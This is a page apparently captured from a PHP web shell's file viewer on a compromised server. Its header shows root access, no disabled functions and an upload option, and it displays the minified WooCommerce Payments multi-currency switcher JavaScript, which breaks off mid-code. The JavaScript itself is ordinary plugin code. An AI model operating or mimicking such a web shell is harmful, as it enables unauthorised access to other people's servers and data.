HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/sample/wp-content/plugins/woocommerce-payments/dist/multi-currency-switcher-block.js
/*! For license information please see multi-currency-switcher-block.js.LICENSE.txt */
(()=>{var e={4184:(e,t)=>{var r;!function(){"use strict";var n={}.hasOwnProperty;function o(){for(var e=[],t=0;t<arguments.length;t++){var r=arguments[t];if(r){var a=typeof r;if("string"===a||"number"===a)e.push(r);else if(Array.isArray(r)){if(r.length){var i=o.apply(null,r);i&&e.push(i)}}else if("object"===a)if(r.toString===Object.prototype.toString)for(var s in r)n.call(r,s)&&r[s]&&e.push(s);else e.push(r.toString())}}return e.join(" ")}e.exports?(o.default=o,e.exports=o):void 0===(r=function(){return o}.apply(t,[]))||(e.exports=r)}()},6928:e=>{e.exports=function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={exports:{},id:n,loaded:!1};return e[n].call(o.exports,o,o.exports,r),o.loaded=!0,o.exports}return r.m=e,r.c=t,r.p="",r(0)}([function(e,t,r){e.exports=r(1)},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=r(2);Object.defineProperty(t,"combineChunks",{enumerable:!0,get:function(){return n.combineChunks}}),Object.defineProperty(t,"fillInChunks",{enumerable:!0,get:function(){return n.fillInChunks}}),Object.defineProperty(t,"findAll",{enumerable:!0,get:function(){return n.findAll}}),Object.defineProperty(t,"findChunks",{enumerable:!0,get:function(){return n.findChunks}})},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.findAll=function(e){var t=e.autoEscape,a=e.caseSensitive,i=void 0!==a&&a,s=e.findChunks,c=void 0===s?n:s,u=e.sanitize,l=e.searchWords,d=e.textToHighlight;return o({chunksToHighlight:r({chunks:c({autoEscape:t,caseSensitive:i,sanitize:u,searchWords:l,textToHighlight:d})}),totalLength:d?d.length:0})};var r=t.combineChunks=function(e){var t=e.chunks;return t.sort((function(e,t){return e.start-t.start})).reduce((function(e,t){if(0===e.length)return[t];var r=e.pop();if(t.start<=r.end){var n=Math.max(r.end,t.end);e.push({highlight:!1,start:r.start,end:n})}else e.push(r,t);return e}),[])},n=function(e){var t=e.autoEscape,r=e.caseSensitive,n=e.sanitize,o=void 0===n?a:n,i=e.searchWords,s=e.textToHighlight;return s=o(s),i.filter((function(e){return e})).reduce((function(e,n){n=o(n),t&&(n=n.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"));for(var a=new RegExp(n,r?"g":"gi"),i=void 0;i=a.exec(s);){var c=i.index,u=a.lastIndex;u>c&&e.push({highlight:!1,start:c,end:u}),i.index===a.lastIndex&&a.lastIndex++}return e}),[])};t.findChunks=n;var o=t.fillInChunks=function(e){var t=e.chunksToHighlight,r=e.totalLength,n=[],o=function(e,t,r){t-e>0&&n.push({start:e,end:t,highlight:r})};if(0===t.length)o(0,r,!1);else{var a=0;t.forEach((function(e){o(a,e.start,!1),o(e.start,e.end,!0),a=e.end})),o(a,r,!1)}return n};function a(e){return e}}])},8679:(e,t,r)=>{"use strict";var n=r(1296),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},a={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},i={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},s={};function c(e){return n.isMemo(e)?i:s[e.$$typeof]||o}s[n.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},s[n.Memo]=i;var u=Object.defineProperty,l=Object.getOwnPropertyNames,d=Object.getOwnPropertySymbols,p=Object.getOwnPropertyDescriptor,m=Object.getPrototypeOf,h=Object.prototype;e.exports=function e(t,r,n){if("string"!=typeof r){if(h){var o=m(r);o&&o!==h&&e(t,o,n)}var i=l(r);d&&(i=i.concat(d(r)));for(var s=c(t),f=c(r),y=0;y<i.length;++y){var g=i[y];if(!(a[g]||n&&n[g]||f&&f[g]||s&&s[g])){var _=p(r,g);try{u(t,g,_)}catch(e){}}}}return t}},6103:(e,t)=>{"use strict";var r="function"==typeof Symbol&&Symbol.for,n=r?Symbol.for("react.element"):60103,o=r?Symbol.for("react.portal"):60106,a=r?Symbol.for("react.fragment"):60107,i=r?Symbol.for("react.strict_mode"):60108,s=r?Symbol.for("react.profiler"):60114,c=r?Symbol.for("react.provider"):60109,u=r?Symbol.for("react.context"):60110,l=r?Symbol.for("react.async_mode"):60111,d=r?Symbol.for("react.concurrent_mode"):60111,p=r?Symbol.for("react.forward_ref"):60112,m=r?Symbol.for("react.suspense"):60113,h=r?Symbol.for("react.suspense_list"):60120,f=r?Symbol.for("react.memo"):60115,y=r?Symbol.for("react.lazy"):60116,g=r?Symbol.for("react.block"):60121,_=r?Symbol.for("react.fundamental"):60117,v=r?Symbol.for("react.responder"):60118,b=r?Symbol.for("react.scope"):60119;function E(e){if("object"==typeof e&&null!==e){var t=e.$$typeof;switch(t){case n:switch(e=e.type){case l:case d:case a:case s:case i:case m:return e;default:switch(e=e&&e.$$typeof){case u:case p:case y:case f:case c:return e;default:return t}}case o:return t}}}function w(e){return E(e)===d}t.AsyncMode=l,t.ConcurrentMode=d,t.ContextConsumer=u,t.ContextProvider=c,t.Element=n,t.ForwardRef=p,t.Fragment=a,t.Lazy=y,t.Memo=f,t.Portal=o,t.Profiler=s,t.StrictMode=i,t.Suspense=m,t.isAsyncMode=function(e){return w(e)||E(e)===l},t.isConcurrentMode=w,t.isContextConsumer=function(e){return E(e)===u},t.isContextProvider=function(e){return E(e)===c},t.isElement=function(e){return"object"==typeof e&&null!==e&&e.$$typeof===n},t.isForwardRef=function(e){return E(e)===p},t.isFragment=function(e){return E(e)===a},t.isLazy=function(e){return E(e)===y},t.isMemo=function(e){return E(e)===f},t.isPortal=function(e){return E(e)===o},t.isProfiler=function(e){return E(e)===s},t.isStrictMode=function(e){return E(e)===i},t.isSuspense=function(e){return E(e)===m},t.isValidElementType=function(e){return"string"==typeof e||"function"==typeof e||e===a||e===d||e===s||e===i||e===m||e===h||"object"==typeof e&&null!==e&&(e.$$typeof===y||e.$$typeof===f||e.$$typeof===c||e.$$typeof===u||e.$$typeof===p||e.$$typeof===_||e.$$typeof===v||e.$$typeof===b||e.$$typeof===g)},t.typeOf=E},1296:(e,t,r)=>{"use strict";e.exports=r(6103)},9588:e=>{e.exports=function(e,t){var r,n,o=0;function a(){var a,i,s=r,c=arguments.length;e:for(;s;){if(s.args.length===arguments.length){for(i=0;i<c;i++)if(s.args[i]!==arguments[i]){s=s.next;continue e}return s!==r&&(s===n&&(n=s.prev),s.prev.next=s.next,s.next&&(s.next.prev=s.prev),s.next=r,s.prev=null,r.prev=s,r=s),s.val}s=s.next}for(a=new Array(c),i=0;i<c;i++)a[i]=arguments[i];return s={args:a,val:e.apply(null,a)},r?(r.prev=s,s.next=r):n=s,o===t.maxSize?(n=n.prev).next=null:o++,r=s,s.val}return t=t||{},a.clear=function(){r=null,n=null,o=0},a}},4155:e=>{var t,r,n=e.exports={};function o(){throw new Error("setTimeout has not been defined")}function a(){throw new Error("clearTimeout has not been defined")}function i(e){if(t===setTimeout)return setTimeout(e,0);if((t===o||!t)&&setTimeout)return t=setTimeout,setTimeout(e,0);try{return t(e,0)}catch(r){try{return t.call(null,e,0)}catch(r){return t.call(this,e,0)}}}!function(){try{t="function"==typeof setTimeout?setTimeout:o}catch(e){t=o}try{r="function"==typeof clearTimeout?clearTimeout:a}catch(e){r=a}}();var s,c=[],u=!1,l=-1;function d(){u&&s&&(u=!1,s.length?c=s.concat(c):l=-1,c.length&&p())}function p(){if(!u){var e=i(d);u=!0;for(var t=c.length;t;){for(s=c,c=[];++l<t;)s&&s[l].run();l=-1,t=c.length}s=null,u=!1,function(e){if(r===clearTimeout)return clearTimeout(e);if((r===a||!r)&&clearTimeout)return r=clearTimeout,clearTimeout(e);try{return r(e)}catch(t){try{return r.call(null,e)}catch(t){return r.call(this,e)}}}(e)}}function m(e,t){this.fun=e,this.array=t}function h(){}n.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var r=1;r<arguments.length;r++)t[r-1]=arguments[r];c.push(new m(e,t)),1!==c.length||u||i(p)},m.prototype.run=function(){this.fun.apply(null,this.array)},n.title="browser",n.browser=!0,n.env={},n.argv=[],n.version="",n.versions={},n.on=h,n.addListener=h,n.once=h,n.off=h,n.removeListener=h,n.removeAllListeners=h,n.emit=h,n.prependListener=h,n.prependOnceListener=h,n.listeners=function(e){return[]},n.binding=function(e){throw new Error("process.binding is not supported")},n.cwd=function(){return"/"},n.chdir=function(e){throw new Error("process.chdir is not supported")},n.umask=function(){return 0}}},t={};function r(n){var o=t[n];if(void 0!==o)return o.exports;var a=t[n]={exports:{}};return e[n](a,a.exports,r),a.exports}r.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return r.d(t,{a:t}),t},r.d=(e,t)=>{for(var n in t)r.o(t,n)&&!r.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},r.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),r.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{var e;r.g.importScripts&&(e=r.g.location+"");var t=r.g.document;if(!e&&t&&(t.currentScript&&(e=t.currentScript.src),!e)){var n=t.getElementsByTagName("script");n.length&&(e=n[n.length-1].src)}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),r.p=e})(),r.p=window.wcpayAssets.url,(()=>{"use strict";var e={};r.r(e),r.d(e,{getAllDepositsOverviews:()=>Z,getAllDepositsOverviewsError:()=>X,getDeposit:()=>G,getDepositQueryError:()=>re,getDeposits:()=>ee,getDepositsCount:()=>te,getDepositsOverview:()=>K,getDepositsOverviewError:()=>Q,getDepositsSummary:()=>oe,getDepositsSummaryError:()=>ae,getInstantDeposit:()=>ie});var t={};r.r(t),r.d(t,{submitInstantDeposit:()=>Ie,updateAllDepositsOverviews:()=>we,updateDeposit:()=>ve,updateDeposits:()=>Te,updateDepositsCount:()=>Re,updateDepositsOverview:()=>be,updateDepositsSummary:()=>Ae,updateErrorForAllDepositsOverviews:()=>Se,updateErrorForDepositQuery:()=>Oe,updateErrorForDepositsOverview:()=>Ee,updateErrorForDepositsSummary:()=>Ce,updateInstantDeposit:()=>xe});var n={};r.r(n),r.d(n,{getAllDepositsOverviews:()=>De,getDeposit:()=>ke,getDeposits:()=>Fe,getDepositsCSV:()=>Me,getDepositsOverview:()=>Ne,getDepositsSummary:()=>Le});var o={};r.r(o),r.d(o,{getFraudOutcomeTransactions:()=>Ge,getFraudOutcomeTransactionsError:()=>Ke,getFraudOutcomeTransactionsSummary:()=>Ze,getFraudOutcomeTransactionsSummaryError:()=>Xe,getTransactions:()=>He,getTransactionsError:()=>Ve,getTransactionsSummary:()=>qe,getTransactionsSummaryError:()=>Ye});var a={};r.r(a),r.d(a,{updateErrorForFraudOutcomeTransactions:()=>ot,updateErrorForFraudOutcomeTransactionsSummary:()=>it,updateErrorForTransactions:()=>et,updateErrorForTransactionsSummary:()=>rt,updateFraudOutcomeTransactions:()=>nt,updateFraudOutcomeTransactionsSummary:()=>at,updateTransactions:()=>Je,updateTransactionsSummary:()=>tt});var i={};r.r(i),r.d(i,{formatQueryFilters:()=>st,getFraudOutcomeTransactions:()=>dt,getFraudOutcomeTransactionsExport:()=>mt,getFraudOutcomeTransactionsSummary:()=>pt,getTransactions:()=>ct,getTransactionsCSV:()=>ut,getTransactionsSummary:()=>lt});var s={};r.r(s),r.d(s,{getCharge:()=>ft,getChargeError:()=>yt,getChargeFromOrder:()=>gt,getChargeFromOrderError:()=>_t});var c={};r.r(c),r.d(c,{updateCharge:()=>vt,updateErrorForCharge:()=>bt});var u={};r.r(u),r.d(u,{getCharge:()=>Et,getChargeFromOrder:()=>wt});var l={};r.r(l),r.d(l,{getTimeline:()=>Tt,getTimelineError:()=>Rt});var d={};r.r(d),r.d(d,{updateErrorForTimeline:()=>At,updateTimeline:()=>Ot});var p={};r.r(p),r.d(p,{getTimeline:()=>Ct});var m={};r.r(m),r.d(m,{getCachedDispute:()=>Dt,getDispute:()=>Nt,getDisputes:()=>Pt,getDisputesSummary:()=>Mt});var h={};r.r(h),r.d(h,{acceptDispute:()=>Wt,updateDispute:()=>$t,updateDisputes:()=>Ht,updateDisputesSummary:()=>Vt});var f={};r.r(f),r.d(f,{getDispute:()=>jt,getDisputes:()=>Gt,getDisputesCSV:()=>Yt,getDisputesSummary:()=>Kt});var y={};r.r(y),r.d(y,{getAccountBrandingLogo:()=>Rr,getAccountBusinessName:()=>hr,getAccountBusinessSupportAddress:()=>yr,getAccountBusinessSupportAddressCity:()=>br,getAccountBusinessSupportAddressCountry:()=>gr,getAccountBusinessSupportAddressLine1:()=>_r,getAccountBusinessSupportAddressLine2:()=>vr,getAccountBusinessSupportAddressPostalCode:()=>wr,getAccountBusinessSupportAddressState:()=>Er,getAccountBusinessSupportEmail:()=>Sr,getAccountBusinessSupportPhone:()=>Tr,getAccountBusinessURL:()=>fr,getAccountDomesticCurrency:()=>Or,getAccountStatementDescriptor:()=>mr,getAdvancedFraudProtectionSettings:()=>tn,getAvailablePaymentMethodIds:()=>lr,getCompletedWaitingPeriod:()=>kr,getCurrentProtectionLevel:()=>en,getDepositDelayDays:()=>Ir,getDepositRestrictions:()=>Dr,getDepositScheduleInterval:()=>Ar,getDepositScheduleMonthlyAnchor:()=>xr,getDepositScheduleWeeklyAnchor:()=>Cr,getDepositStatus:()=>Nr,getEnabledPaymentMethodIds:()=>ur,getIsCardPresentEligible:()=>Yr,getIsClientSecretEncryptionEnabled:()=>cr,getIsDebugLogEnabled:()=>Ur,getIsDevModeEnabled:()=>Fr,getIsManualCaptureEnabled:()=>Pr,getIsMultiCurrencyEnabled:()=>zr,getIsPaymentRequestEnabled:()=>Lr,getIsSavedCardsEnabled:()=>Wr,getIsSubscriptionsPluginActive:()=>Kr,getIsTestModeEnabled:()=>Mr,getIsWCPayEnabled:()=>sr,getIsWCPaySubscriptionsEligible:()=>Gr,getIsWCPaySubscriptionsEnabled:()=>jr,getIsWooPayEnabled:()=>Qr,getPaymentMethodStatuses:()=>dr,getPaymentRequestButtonSize:()=>Hr,getPaymentRequestButtonTheme:()=>Vr,getPaymentRequestButtonType:()=>$r,getPaymentRequestLocations:()=>Br,getSavingError:()=>qr,getSettings:()=>ar,getShowWooPayIncompatibilityNotice:()=>rn,getWooPayCustomMessage:()=>Zr,getWooPayLocations:()=>Jr,getWooPayStoreLogo:()=>Xr,isSavingSettings:()=>pr});var g={};r.r(g),r.d(g,{saveSettings:()=>Pn,updateAccountBrandingLogo:()=>In,updateAccountBusinessName:()=>Rn,updateAccountBusinessSupportAddress:()=>An,updateAccountBusinessSupportEmail:()=>Cn,updateAccountBusinessSupportPhone:()=>xn,updateAccountBusinessURL:()=>On,updateAccountStatementDescriptor:()=>Tn,updateAdvancedFraudProtectionSettings:()=>$n,updateAvailablePaymentMethodIds:()=>fn,updateDepositScheduleInterval:()=>kn,updateDepositScheduleMonthlyAnchor:()=>Dn,updateDepositScheduleWeeklyAnchor:()=>Nn,updateEnabledPaymentMethodIds:()=>hn,updateIsCardPresentEligible:()=>an,updateIsClientSecretEncryptionEnabled:()=>sn,updateIsDebugLogEnabled:()=>En,updateIsManualCaptureEnabled:()=>vn,updateIsMultiCurrencyEnabled:()=>wn,updateIsPaymentRequestEnabled:()=>mn,updateIsSavedCardsEnabled:()=>on,updateIsSavingSettings:()=>yn,updateIsTestModeEnabled:()=>bn,updateIsWCPayEnabled:()=>pn,updateIsWCPaySubscriptionsEnabled:()=>Sn,updateIsWooPayEnabled:()=>Fn,updatePaymentRequestButtonSize:()=>un,updatePaymentRequestButtonTheme:()=>ln,updatePaymentRequestButtonType:()=>cn,updatePaymentRequestLocations:()=>Mn,updateProtectionLevel:()=>Bn,updateSelectedPaymentMethod:()=>gn,updateSettings:()=>dn,updateUnselectedPaymentMethod:()=>_n,updateWooPayCustomMessage:()=>Ln,updateWooPayLocations:()=>zn,updateWooPayStoreLogo:()=>Un});var _={};r.r(_),r.d(_,{getSettings:()=>Hn});var v={};r.r(v),r.d(v,{getAvailableCurrencies:()=>jn,getCurrencies:()=>Yn,getCurrencySettings:()=>Qn,getDefaultCurrency:()=>Kn,getEnabledCurrencies:()=>Gn,getStoreSettings:()=>Zn});var b={};r.r(b),r.d(b,{submitCurrencySettings:()=>ao,submitEnabledCurrenciesUpdate:()=>oo,submitStoreSettingsUpdate:()=>io,updateAvailableCurrencies:()=>Jn,updateCurrencies:()=>Xn,updateCurrencySettings:()=>ro,updateDefaultCurrency:()=>to,updateEnabledCurrencies:()=>eo,updateStoreSettings:()=>no});var E={};r.r(E),r.d(E,{getCurrencies:()=>so,getCurrencySettings:()=>co,getStoreSettings:()=>uo});var w={};r.r(w),r.d(w,{getCardReaderStats:()=>po,getCardReaderStatsError:()=>mo,getCardReaders:()=>ho});var S={};r.r(S),r.d(S,{updateCardReaderStats:()=>fo,updateCardReaders:()=>yo,updateErrorForCardReaderStats:()=>go,updateErrorForCardReaders:()=>_o});var T={};r.r(T),r.d(T,{getCardReaderStats:()=>vo,getCardReaders:()=>bo});var R={};r.r(R),r.d(R,{getActiveLoanSummary:()=>Oo,getActiveLoanSummaryError:()=>Ao,getLoans:()=>Co,getLoansError:()=>xo});var O={};r.r(O),r.d(O,{updateActiveLoanSummary:()=>Io,updateErrorForActiveLoanSummary:()=>ko,updateErrorForLoans:()=>Do,updateLoans:()=>No});var A={};r.r(A),r.d(A,{getActiveLoanSummary:()=>Mo,getLoans:()=>Fo});var C={};r.r(C),r.d(C,{getDocuments:()=>$o,getDocumentsError:()=>Ho,getDocumentsSummary:()=>Wo,getDocumentsSummaryError:()=>qo});var x={};r.r(x),r.d(x,{updateDocuments:()=>Yo,updateDocumentsSummary:()=>Go,updateErrorForDocuments:()=>jo,updateErrorForDocumentsSummary:()=>Ko});var I={};r.r(I),r.d(I,{formatQueryFilters:()=>Qo,getDocuments:()=>Zo,getDocumentsSummary:()=>Xo});var k={};r.r(k),r.d(k,{getPaymentIntent:()=>na,getPaymentIntentError:()=>oa});var N={};r.r(N),r.d(N,{updateErrorForPaymentIntent:()=>ia,updatePaymentIntent:()=>aa});var D={};r.r(D),r.d(D,{getPaymentIntent:()=>ca});var P={};r.r(P),r.d(P,{getAuthorization:()=>fa,getAuthorizations:()=>ha,getAuthorizationsError:()=>ya,getAuthorizationsSummary:()=>_a,getAuthorizationsSummaryError:()=>va,getIsRequesting:()=>ba});var M={};r.r(M),r.d(M,{setIsRequestingAuthorization:()=>Oa,submitCancelAuthorization:()=>Ca,submitCaptureAuthorization:()=>Aa,updateAuthorization:()=>Ta,updateAuthorizations:()=>wa,updateAuthorizationsSummary:()=>Ra,updateErrorForAuthorizations:()=>Sa,updateErrorForAuthorizationsSummary:()=>xa});var F={};r.r(F),r.d(F,{getAuthorization:()=>Na,getAuthorizations:()=>ka,getAuthorizationsSummary:()=>Da});var L={};r.r(L),r.d(L,{Text:()=>Al,block:()=>Cl,destructive:()=>Il,highlighterText:()=>Nl,muted:()=>kl,positive:()=>xl,upperCase:()=>Dl});const U=window.wp.element,z=window.wp.data,B=window.wp.dataControls,$="/wc/v3/payments",H="wc/payments",V=window.lodash,W={SET_DEPOSIT:"SET_DEPOSIT",SET_DEPOSITS_OVERVIEW:"SET_DEPOSITS_OVERVIEW",SET_ERROR_FOR_DEPOSITS_OVERVIEW:"SET_ERROR_FOR_DEPOSITS_OVERVIEW",SET_DEPOSITS:"SET_DEPOSITS",SET_DEPOSITS_COUNT:"SET_DEPOSITS_COUNT",SET_ERROR_FOR_DEPOSIT_QUERY:"SET_ERROR_FOR_DEPOSIT_QUERY",SET_DEPOSITS_SUMMARY:"SET_DEPOSITS_SUMMARY",SET_ERROR_FOR_DEPOSITS_SUMMARY:"SET_ERROR_FOR_DEPOSITS_SUMMARY",SET_INSTANT_DEPOSIT:"SET_INSTANT_DEPOSIT",SET_ALL_DEPOSITS_OVERVIEWS:"SET_ALL_DEPOSITS_OVERVIEWS",SET_ERROR_FOR_ALL_DEPOSITS_OVERVIEWS:"SET_ERROR_FOR_ALL_DEPOSITS_OVERVIEWS"},q=e=>JSON.stringify(e,Object.keys(e).sort()),Y={byId:{},queries:{},count:0,instant:{}},j=e=>e&&e.deposits||{},G=(e,t)=>(j(e).byId||{})[t],K=e=>(j(e).overview||{}).data,Q=e=>(j(e).overview||{}).error,Z=e=>{const t=j(e).overviews||{};if(!t.data)return{account:null,currencies:[]};const{deposit:r,balance:n,account:o}=t.data,a={lastPaid:r.last_paid,nextScheduled:r.next_scheduled,pending:n.pending,available:n.available,instant:n.instant},i={};for(const[e,t]of Object.entries(a))t?.forEach((t=>{const{currency:r}=t;i[r]||(i[r]={currency:r,lastPaid:void 0,nextScheduled:void 0,pending:void 0,available:void 0,instant:void 0}),i[r][e]=t}));const s=Object.values(i);return{account:o,currencies:[...s.filter((e=>o.default_currency===e.currency)),...s.filter((e=>o.default_currency!==e.currency))]}},X=e=>(j(e).overviews||{}).error,J=(e,t)=>{const r=q(t);return(j(e).queries||{})[r]||{}},ee=(e,t)=>(J(e,t).data||[]).map(G.bind(void 0,e)),te=e=>j(e).count,re=(e,t)=>J(e,t).error||{},ne=(e,t)=>{const r=q(t);return(j(e).summary||{})[r]||{}},oe=(e,t)=>ne(e,t).data||{},ae=(e,t)=>ne(e,t).error||{},ie=e=>(j(e).instant||{}).data,se=window.wp.i18n,ce=window.wc.currency;var ue=r.n(ce);(0,se.__)("Australian dollar","woocommerce-payments"),(0,se.__)("Canadian dollar","woocommerce-payments"),(0,se.__)("Swiss franc","woocommerce-payments"),(0,se.__)("Danish krone","woocommerce-payments"),(0,se.__)("Euro","woocommerce-payments"),(0,se.__)("Pound sterling","woocommerce-payments"),(0,se.__)("Norwegian krone","woocommerce-payments"),(0,se.__)("New Zealand dollar","woocommerce-payments"),(0,se.__)("Swedish krona","woocommerce-payments"),(0,se.__)("United States (US) dollar","woocommerce-payments");const le=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"USD",r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;const n=(e=>wcpaySettings.zeroDecimalCurrencies.includes(e.toLowerCase()))(t);n||(e/=100);const o=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;const{currencyData:r,connect:{country:n="US"}}=wcpaySettings,o=(0,V.find)(r,{code:e.toUpperCase()});if(o){if(null!==t&&t.toUpperCase()!==e.toUpperCase()||r[n]){const e=t?(0,V.find)(r,{code:t.toUpperCase()}):r[n];e&&(o.decimalSeparator=e.decimalSeparator,o.thousandSeparator=e.thousandSeparator,o.symbolPosition=e.symbolPosition)}return ue()(o)}return null}(t,r);if(null===o)return de(e,t,n);try{return"function"==typeof o.formatAmount?pe(o.formatAmount(e)):pe(o.formatCurrency(e))}catch(r){return pe(de(e,t,n))}};function de(e,t,r){try{return e.toLocaleString(void 0,{style:"currency",currency:t,currencyDisplay:"narrowSymbol",dummy:r})}catch(n){return(0,se.sprintf)(r?"%s %i":"%s %.2f",t.toUpperCase(),e)}}function pe(e){return(new DOMParser).parseFromString(e,"text/html").documentElement.textContent}const me=window.wp.url,he=window.moment;var fe=r.n(he);const ye=window.wp.date,ge=(window.wc.number,e=>(0,me.addQueryArgs)("admin.php",e)),_e=function(e){const t=arguments.length>1&&void 0!==arguments[1]&&arguments[1]?fe()(e).endOf("day").utc().toISOString():fe()(e).startOf("day").utc().toISOString();return e&&(0,ye.dateI18n)("Y-m-d H:i:s",t,!0)};function ve(e){return{type:W.SET_DEPOSIT,data:e}}function be(e){return{type:W.SET_DEPOSITS_OVERVIEW,data:e}}function Ee(e,t){return{type:W.SET_ERROR_FOR_DEPOSITS_OVERVIEW,error:t}}function we(e){return{type:W.SET_ALL_DEPOSITS_OVERVIEWS,data:e}}function Se(e,t){return{type:W.SET_ERROR_FOR_ALL_DEPOSITS_OVERVIEWS,error:t}}function Te(e,t){return{type:W.SET_DEPOSITS,query:e,data:t}}function Re(e){return{type:W.SET_DEPOSITS_COUNT,data:e}}function Oe(e,t,r){return{type:W.SET_ERROR_FOR_DEPOSIT_QUERY,query:e,data:t,error:r}}function Ae(e,t){return{type:W.SET_DEPOSITS_SUMMARY,query:e,data:t}}function Ce(e,t,r){return{type:W.SET_ERROR_FOR_DEPOSITS_SUMMARY,query:e,data:t,error:r}}function xe(e){return{type:W.SET_INSTANT_DEPOSIT,data:e}}function*Ie(e){try{yield(0,z.dispatch)(H).startResolution("getInstantDeposit",[e]);const t=yield(0,B.apiFetch)({path:"/wc/v3/payments/deposits",method:"POST",data:{type:"instant",transaction_ids:e}});yield xe(t),yield(0,z.dispatch)(H).invalidateResolutionForStoreSelector("getDeposits"),yield(0,z.dispatch)(H).invalidateResolutionForStoreSelector("getDepositsOverview"),yield(0,z.dispatch)("core/notices").createSuccessNotice((0,se.sprintf)((0,se.__)("Instant deposit for %s in transit.","woocommerce-payments"),le(t.amount)),{actions:[{label:(0,se.__)("View details","woocommerce-payments"),url:ge({page:"wc-admin",path:"/payments/deposits/details",id:t.id})}]})}catch{yield(0,z.dispatch)("core/notices").createErrorNotice((0,se.__)("Error creating instant deposit.","woocommerce-payments"))}finally{yield(0,z.dispatch)(H).finishResolution("getInstantDeposit",[e])}}function*ke(e){const t=(0,me.addQueryArgs)(`${$}/deposits/${e}`);try{const e=yield(0,B.apiFetch)({path:t});yield ve(e)}catch(e){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving deposit.","woocommerce-payments"))}}function*Ne(){const e=(0,me.addQueryArgs)(`${$}/deposits/overview`);try{const t=yield(0,B.apiFetch)({path:e});yield be(t)}catch(e){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving deposits overview.","woocommerce-payments")),yield Ee()}}function*De(){const e=(0,me.addQueryArgs)(`${$}/deposits/overview-all`);try{const t=yield(0,B.apiFetch)({path:e});yield we(t)}catch(e){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving all deposits' overviews.","woocommerce-payments")),yield Se()}}const Pe=e=>({user_email:e.userEmail,match:e.match,store_currency_is:e.storeCurrencyIs,date_before:_e(e.dateBefore,!0),date_after:_e(e.dateAfter),date_between:e.dateBetween&&[_e(e.dateBetween[0]),_e(e.dateBetween[1],!0)],status_is:e.statusIs,status_is_not:e.statusIsNot});function Me(e){return(0,me.addQueryArgs)(`${$}/deposits/download`,Pe(e))}function*Fe(e){const t=(0,me.addQueryArgs)(`${$}/deposits`,{page:e.paged,pagesize:e.perPage,sort:e.orderby,direction:e.order,...Pe(e)});try{const r=yield(0,B.apiFetch)({path:t})||{};yield Te(e,r.data),yield Re(r.total_count);for(const e in r.data)yield z.controls.dispatch(H,"finishResolution","getDeposit",[r.data[e].id])}catch(t){yield z.controls.dispatch("core/notices","createErrorNotice",(0,se.__)("Error retrieving deposits.","woocommerce-payments")),yield Oe(e,null,t)}}function*Le(e){const t=(0,me.addQueryArgs)(`${$}/deposits/summary`,Pe(e));try{const r=yield(0,B.apiFetch)({path:t});yield Ae(e,r)}catch(t){yield Ce(e,null,t)}}const Ue={SET_TRANSACTIONS:"SET_TRANSACTIONS",SET_ERROR_FOR_TRANSACTIONS:"SET_ERROR_FOR_TRANSACTIONS",SET_TRANSACTIONS_SUMMARY:"SET_TRANSACTIONS_SUMMARY",SET_ERROR_FOR_TRANSACTIONS_SUMMARY:"SET_ERROR_FOR_TRANSACTIONS_SUMMARY",SET_FRAUD_OUTCOME_TRANSACTIONS:"SET_FRAUD_OUTCOME_TRANSACTIONS",SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS:"SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS",SET_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY:"SET_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY",SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY:"SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY"},ze={summary:{},fraudProtection:{review:{summary:{}},block:{summary:{}}}},Be=e=>e&&e.transactions||{},$e=(e,t)=>{const r=q(t);return Be(e)[r]||{}},He=(e,t)=>$e(e,t).data||[],Ve=(e,t)=>$e(e,t).error||{},We=(e,t)=>{const r=q(t);return Be(e).summary[r]||{}},qe=(e,t)=>We(e,t).data||{},Ye=(e,t)=>We(e,t).error||{},je=(e,t,r)=>{const n=q(r);return Be(e).fraudProtection?.[t]?.[n]||{}},Ge=(e,t,r)=>je(e,t,r).data||[],Ke=(e,t,r)=>je(e,t,r).error||{},Qe=(e,t,r)=>{const n=q(r);return Be(e).fraudProtection?.[t]?.summary[n]||{}},Ze=(e,t,r)=>Qe(e,t,r).data||{},Xe=(e,t,r)=>Qe(e,t,r).error||{};function Je(e,t){return{type:Ue.SET_TRANSACTIONS,query:e,data:t}}function 